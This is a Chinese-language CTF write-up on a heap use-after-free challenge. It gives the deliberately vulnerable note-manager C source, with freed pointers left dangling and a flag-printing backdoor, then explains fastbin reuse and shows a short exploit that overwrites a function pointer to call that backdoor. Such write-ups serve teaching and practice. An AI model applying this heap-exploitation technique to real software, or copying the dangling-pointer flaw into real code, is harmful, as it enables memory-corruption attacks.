note-UAF

1.源文件,忘记是哪里的题了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

struct note *notelist[10];
int count = 0;

struct note{
void (*print_note)();
char *content;
};

void print_note_content(struct note *ptr_n)
{
puts(ptr_n -> content);
}

void add_note(){
int i;
char buf[8];
int size;
if (count > 10)
{
puts("Full");
return;
}
for (i = 0; i < 10; i++){
if (!notelist[i])
{
notelist[i] = (struct note *)malloc(sizeof(struct note));
if (!notelist[i])
{
puts("Alloca Error");
exit(-1);
}
notelist[i] -> print_note = print_note_content;
printf("Note size :");
read(0, buf, 8);
size = atoi(buf);
notelist[i] -> content = (char *)malloc(size);
if (!notelist[i] -> content)
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, notelist[i] -> content, size);
puts("Success !");
count++;
break;
}
}
}

void del_note()
{
char buf[4];
int idx;
printf("Index :");
read(0, buf, 4);
idx = atoi(buf);
if (idx < 0 || idx >= count)
{
puts("Out of bound!");
_exit(0);
}
if (notelist[idx])
{
free(notelist[idx]->content);
free(notelist[idx]);
puts("Success");
}
}

void print_note()
{
char buf[4];
int idx;
printf("Index :");
read(0, buf, 4);
idx = atoi(buf);
if (idx < 0 || idx >= count)
{
puts("Out of bound!");
_exit(0);
}
if (notelist[idx])
{
notelist[idx] -> print_note(notelist[idx]);
}
}

void magic()
{
system("cat ./flag");
}

void menu() {
puts("----------------------");
puts(" UAF NOTE ");
puts("----------------------");
puts(" 1. Add note ");
puts(" 2. Delete note ");
puts(" 3. Print note ");
puts(" 4. Exit ");
puts("----------------------");
printf("Your choice :");
};

int main() {
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
char buf[4];
while (1) {
menu();
read(0, buf, 4);
switch(atoi(buf))
{
case 1:
add_note();
break;
case 2:
del_note();
break;
case 3:
print_note();
break;
case 4:
exit(0);
break;
default:
puts("Invalid choice");
break;
}
}
return 0;
}

编译一下:

1
2
3
#注释头

gcc note.c -no-pie -o note

2.打开IDA,查漏洞,del-note函数中存在UAF漏洞,并且还有后门:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#注释头

if ( notelist[idx] )
{
free(notelist[idx]->content);
free(notelist[idx]);
puts("Success");
}
//这里经过IDA人工数据修改过,刚打开不会是这样的。
----------------------------------------------------
int magic()
{
return system("cat ./flag");
}

可以看到在Free之后没有将指针置空,导致Free之后,如果通过程序中的print选项来打印依然可以调用被该指针对应的函数,所以这里存在UAF。

3.这一题中有一个结构体,定义如下:

img

其中malloc顺序是:

(1)malloc控制数据部分chunk_control,固定大小为0x10。

(2)将content,也就是真正数据部分malloc出来,chunk_data,这里可以设置size。

free顺序是:

(1)先free掉data部分,chunk_data。

(2)再free控制数据部分的struct,chunk_control。

4.思考攻击思路,既然有UAF漏洞,那么我们可以想办法Free几个chunk,然后利用fastbins先进后出的原则,将某个控制数据部分的chunk_control申请回来变成我们可以操作的chunk_data,进行fastbins attack。之后修改其中的打印函数地址,改为后门函数地址,那么使用程序中的print就可以跳转后门函数获取flag。

5.先申请两个结构,data部分至少为0x19,使得chunk_data不落入到0x20的fastbins中。之后释放掉这两个结构,然后fastbins中的结构如下:

1
2
3
4
#注释头

fastbinsY[0]:0x10:chunk_control1->chunk_control0
fastbinsY[x]:0xxx:chunk_data1->chunk_data0

6.然后申请一个0x10大小的结构,编号A,该结构中的对应就变成这样:

1
2
3
4
#注释头

chunk_controlA=chunk_control1
chunk_dataA=chunk_control0

7.现在可以修改chunk_dataA,将其内容改为后门函数地址,然后使用程序中的print,输入索引为0,然后就会运行chunk_control0中的打印函数,也就相当于运行chunk_dataA中的后门函数。

简单exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#注释头

add(0x20,'aaaaaaaa') #chunk_control0+chunk_data0
add(0x20,'AAAAAAAA') #chunk_control1+chunk_data1
#这里的0x20可以随便改,只要大于等于0x19即可,两个0x20也可以不一样。

free(0)
free(1)
#free顺序:chunk_data0,chunk_control0,chunk_data1,chunk_control1

backdoor = p64(elf.sym['magic'])
add(0x10,backdoor)
#malloc顺序:chunk_controlA=chunk_control1,chunk_dataA=chunk_control0

show(0)
print(p.recv())
#获取flag